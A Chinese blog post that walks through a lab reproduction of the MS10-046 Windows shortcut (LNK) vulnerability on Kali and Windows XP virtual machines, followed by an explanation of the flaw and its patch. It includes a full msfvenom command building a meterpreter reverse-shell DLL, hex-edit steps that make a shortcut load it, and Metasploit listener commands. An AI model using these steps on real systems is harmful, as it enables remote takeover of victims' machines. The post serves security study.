ms10-046 快捷方式漏洞

mua1

于 2024-08-30 11:37:01 发布

阅读量611

点赞数 13

文章标签：网络 windows linux

本文链接：https://blog.csdn.net/m0_65809311/article/details/141712147

版权

实验环境

kali虚拟机 IP 192.168.178.160

windows XP 虚拟机 IP 192.168.178.166

实验准备

010Editor 是一款功能强大的文本编辑器和十六进制编辑器，它广泛应用于软件开发、逆向工程、数据分析以及系统配置等领域。

复现步骤

我们使用kali虚拟机上集成的 metasploit 工具，生成具有反弹shell 功能的DLL.DLL 。注意IP为kali虚拟机，端口自己指定。反弹：目标机主动连接攻击机。

 msfvenom-p windows/meterpreter/reverse_tcp -a x86 host=192.168.178.160 lport=8888 -f dll > DLL.DLL

// -p  生成payload
// windows/meterperter/reverse_tcp  使用的payload是针对windows系统，来反弹tcp连接的，获得shell
//-a 操作系统体系架构 x86
//host lport 攻击者（自己）的
//-f dll 输出格式为dll
//>DLL.DLL 输出文件名称设置为DLL.DLL


生成的paylaod可以在/home/kali下找到

我们在windows XP主机上，通过控制面板，创建鼠标快捷方式。

我们把鼠标快捷方式拖动到 101-editor 里面进行编辑。

· 将 0x7A处 的一个DWORD（四个字节） 改成 00
· 从 0x8E处 开始，我们把对应的字符串内容改为：C:/DLL.DLL 注意结尾处再向后补充两字节的 00 00 ，表示结束
· 注意：在010-editor右侧ASCII编码中， 点.  可能表示两种情况，分别是 真正的ASCII字符 .（2E）  和   空符(00) 代表占位的
不要混淆了， 也就是说在左侧中，高字节应该是00才对。若直接从右边 把其他字符 修改成 .  ，则会变成2E

010-editor 为什么要 00 时，也要在右侧 用 .  表示呢？

因为ASCII字符只用1个字节表示，而左侧 使用1个字表示。

4. 我们把 DLL.DLL和修改后的鼠标快捷方式，同时复制（COPY)到，C盘根目录下。注意：在移动快捷方式时，要使用copy命令，否则在移动完后重启。因为该漏洞是在快捷方式解析的时候执行，直接拖动，会被解析。

5.我在kali 上使用metasploit开启端口监听功能，等待windows XP 反弹连接。

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp 
show optionts
set LHOST **
set LPORT **

exploit

6.双击鼠标快捷方式，发现反弹连接成功。获得主机shell

总结

”震网”事件就曾利用了这一漏洞，通过相关合作供应商使用U盘，感染了伊朗核工业某一主机。

附漏洞原理：

MS10-046是一个关于Windows快捷方式（LNK文件）的漏洞。这个漏洞的核心问题在于Windows Shell在处理LNK文件时存在安全漏洞。以下是关于这个漏洞的详细原理：
        1. 漏洞成因：当Windows系统显示快捷方式文件的图标时，它会根据文件中的结构信息寻找并展示相应的图标资源。如果这个图标资源位于一个DLL文件中，系统会尝试加载这个DLL文件来显示图标。
        2. 参数验证问题：漏洞源于shell32.dll在解析快捷方式图标时的参数验证不充分。这意味着攻击者可以通过构造特定的LNK文件，来欺骗系统加载恶意的DLL文件。
        3. 执行任意代码：通过这种方式，攻击者可以在受害者的计算机上执行任意代码。成功利用此漏洞的攻击者可以获得与本地用户相同的权限。如果本地用户具有管理权限，那么攻击者可以完全控制受影响的系统。
        4. 漏洞利用：攻击者可以通过社会工程学手段，例如通过电子邮件附件或可移动驱动器，诱使用户打开特制的LNK文件。一旦用户打开了这个文件，漏洞就会被触发，攻击者就可以在受害者的计算机上执行恶意代码。
        5. 影响范围：这个漏洞影响了多个Windows操作系统版本，特别是Windows XP和Windows Server 2003。
        6. 防护措施：为了防范这一漏洞，微软发布了相应的安全更新。用户应确保安装了最新的安全补丁，以防止此类攻击。

看完后，希望小伙伴给我点个赞，THANK YOU 思密达！！！